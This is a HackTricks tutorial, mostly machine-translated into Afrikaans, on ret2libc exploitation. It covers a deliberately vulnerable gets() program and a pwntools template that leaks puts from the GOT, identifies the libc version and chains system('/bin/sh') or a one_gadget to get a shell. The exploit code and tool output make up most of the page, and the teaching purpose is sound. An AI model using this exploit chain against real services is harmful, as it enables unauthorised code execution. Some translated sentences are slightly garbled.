Leaking libc address with ROP

Support HackTricks

Quick Resume

  1. Vind overflow offset

  2. Vind POP_RDI gadget, PUTS_PLT en MAIN gadgets

  3. Gebruik vorige gadgets om die geheue adres van puts of 'n ander libc funksie te lek en vind die libc weergawe (aflaai dit)

  4. Met die biblioteek, bereken die ROP en exploiteer dit

Other tutorials and binaries to practice

Hierdie tutorial gaan die kode/binary wat in hierdie tutorial voorgestel word, exploiteer: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Ander nuttige tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Filename: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC template

Laai die exploit af en plaas dit in dieselfde gids as die kwesbare binêre en gee die nodige data aan die skrip:

Leaking libc - template

1- Vind die offset

Die sjabloon benodig 'n offset voordat dit met die exploit voortgaan. As enige verskaf word, sal dit die nodige kode uitvoer om dit te vind (standaard OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Voer python template.py uit, 'n GDB-konsol sal geopen word met die program wat gecrash het. Binne daardie GDB-konsol voer x/wx $rsp uit om die bytes te kry wat die RIP sou oorskryf. Laastens kry die offset met 'n python-konsol:

from pwn import *
cyclic_find(0x6161616b)

Nadat die offset gevind is (in hierdie geval 40), verander die OFFSET veranderlike binne die sjabloon met daardie waarde. OFFSET = "A" * 40

'n Ander manier sou wees om: pattern create 1000 -- voer uit tot ret -- pattern seach $rsp van GEF te gebruik.

2- Vind Gadgets

Nou moet ons ROP gadgets binne die binêre vind. Hierdie ROP gadgets sal nuttig wees om puts aan te roep om die libc wat gebruik word te vind, en later om die finale exploit te lanseer.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Die PUTS_PLT is nodig om die funksie puts aan te roep. Die MAIN_PLT is nodig om die hoof funksie weer aan te roep na een interaksie om die overflow weer te ontgin (oneindige rondes van ontginning). Dit word aan die einde van elke ROP gebruik om die program weer aan te roep. Die POP_RDI is nodig om 'n parameter aan die aangeroepde funksie te gee.

In hierdie stap hoef jy niks uit te voer nie, aangesien alles deur pwntools tydens die uitvoering gevind sal word.

3- Vind libc biblioteek

Nou is dit tyd om te vind watter weergawe van die libc biblioteek gebruik word. Om dit te doen, gaan ons die adres in geheue van die funksie puts lek en dan gaan ons soek in watter biblioteek weergawe die puts weergawe in daardie adres is.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Dit sal 'n paar bytes stuur totdat oorskrywing van die RIP moontlik is: OFFSET. Dan sal dit die adres van die gadget POP_RDI stel sodat die volgende adres (FUNC_GOT) in die RDI register gestoor sal word. Dit is omdat ons wil oproep puts deur dit die adres van die PUTS_GOT te gee, aangesien die adres in geheue van die puts-funksie in die adres wat deur PUTS_GOT aangedui word, gestoor is. Daarna sal PUTS_PLT aangeroep word (met PUTS_GOT binne die RDI) sodat puts die inhoud binne PUTS_GOT (die adres van die puts-funksie in geheue) sal lees en dit sal uitdruk. Laastens, word die hoof funksie weer aangeroep sodat ons die oorskrywing weer kan benut.

Op hierdie manier het ons die puts-funksie bedrieg om die adres in geheue van die funksie puts (wat binne die libc biblioteek is) te druk. Nou dat ons daardie adres het, kan ons soek watter libc weergawe gebruik word.

Aangesien ons 'n paar lokale binêre benut, is dit nie nodig om uit te vind watter weergawe van libc gebruik word nie (vind net die biblioteek in /lib/x86_64-linux-gnu/libc.so.6). Maar, in 'n afstandsbenutting geval sal ek hier verduidelik hoe jy dit kan vind:

3.1- Soek na libc weergawe (1)

Jy kan soek watter biblioteek op die webblad gebruik word: https://libc.blukat.me/ Dit sal jou ook toelaat om die ontdekte weergawe van libc af te laai.

3.2- Soek na libc weergawe (2)

Jy kan ook doen:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Dit sal 'n rukkie neem, wees geduldig. Vir dit om te werk, het ons nodig:

  • Libc simbool naam: puts

  • Gelekte libc adres: 0x7ff629878690

Ons kan uitvind watter libc waarskynlik gebruik word.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

We kry 2 ooreenkomste (jy moet die tweede een probeer as die eerste een nie werk nie). Laai die eerste een af:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Kopieer die libc van libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so na ons werksgids.

3.3- Ander funksies om te leak

puts
printf
__libc_start_main
read
gets

4- Vind gebaseerde libc adres & uitbuiting

Op hierdie punt behoort ons die libc biblioteek te ken wat gebruik word. Aangesien ons 'n plaaslike binêre uitbuit, sal ek net gebruik: /lib/x86_64-linux-gnu/libc.so.6

So, aan die begin van template.py verander die libc veranderlike na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Stel biblioteek pad in wanneer dit bekend is

Deur die pad aan die libc biblioteek te gee, gaan die res van die uitbuiting outomaties bereken word.

Binne die get_addr funksie gaan die basis adres van libc bereken word:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Let op dat die finale libc basisadres moet eindig op 00. As dit nie jou geval is nie, het jy dalk 'n verkeerde biblioteek gelekt.

Dan gaan die adres na die funksie system en die adres na die string "/bin/sh" bereken word vanaf die basisadres van libc en gegee aan die libc biblioteek.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Uiteindelik gaan die /bin/sh uitvoeringsuitbuiting voorberei word en gestuur:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Laten ons hierdie finale ROP verduidelik. Die laaste ROP (rop1) het weer die hooffunksie aangeroep, dan kan ons weer die oortolligheid benut (dit is hoekom die OFFSET hier weer is). Dan wil ons POP_RDI aanroep wat na die adres van "/bin/sh" (BINSH) wys en die system funksie (SYSTEM) aanroep omdat die adres van "/bin/sh" as 'n parameter oorgedra sal word. Laastens, die adres van die uitgang funksie word aangeroep sodat die proses netjies bestaan en enige waarskuwing gegenereer word.

Op hierdie manier sal die exploit 'n _/bin/sh_** shell uitvoer.**

4(2)- Gebruik ONE_GADGET

Jy kan ook ONE_GADGET gebruik om 'n shell te verkry in plaas van om system en "/bin/sh" te gebruik. ONE_GADGET sal binne die libc biblioteek 'n manier vind om 'n shell te verkry met net een ROP adres. E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos [rsp+0x30] == NULL Aangesien jy die waardes binne die RSP beheer, hoef jy net 'n paar meer NULL waardes te stuur sodat die beperking vermy word.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

Jy kan 'n sjabloon vind om hierdie kwesbaarheid te benut hier:

Leaking libc - template

Algemene probleme

MAIN_PLT = elf.symbols['main'] nie gevind nie

As die "main" simbool nie bestaan nie. Dan kan jy vind waar die hoofkode is:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

en stel die adres handmatig:

MAIN_PLT = 0x401080

Puts nie gevind nie

As die binêre nie Puts gebruik nie, moet jy kyk of dit gebruik

sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie

As jy hierdie fout vind nadat jy alle die exploits geskep het: sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie

Probeer om 64 bytes van die adres van "/bin/sh" af te trek:

BINSH = next(libc.search("/bin/sh")) - 64
Ondersteun HackTricks

Last updated